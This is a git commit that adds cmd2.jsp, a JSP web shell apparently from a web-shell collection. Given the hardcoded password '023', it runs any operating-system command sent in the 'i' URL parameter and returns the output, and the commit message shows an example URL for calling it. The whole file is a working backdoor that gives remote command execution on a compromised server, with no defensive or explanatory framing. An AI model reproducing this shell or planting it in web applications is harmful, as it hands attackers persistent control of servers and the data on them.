add cmd2.jsp

like http://site/url/cmd2.jsp?pwd=023&i=ls
This commit is contained in:
tennc 2014-12-19 17:01:43 +08:00
parent 5e4358b31b
commit abaa8b5d13

12
jsp/cat/cmd2.jsp Normal file
View file

@ -0,0 +1,12 @@
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>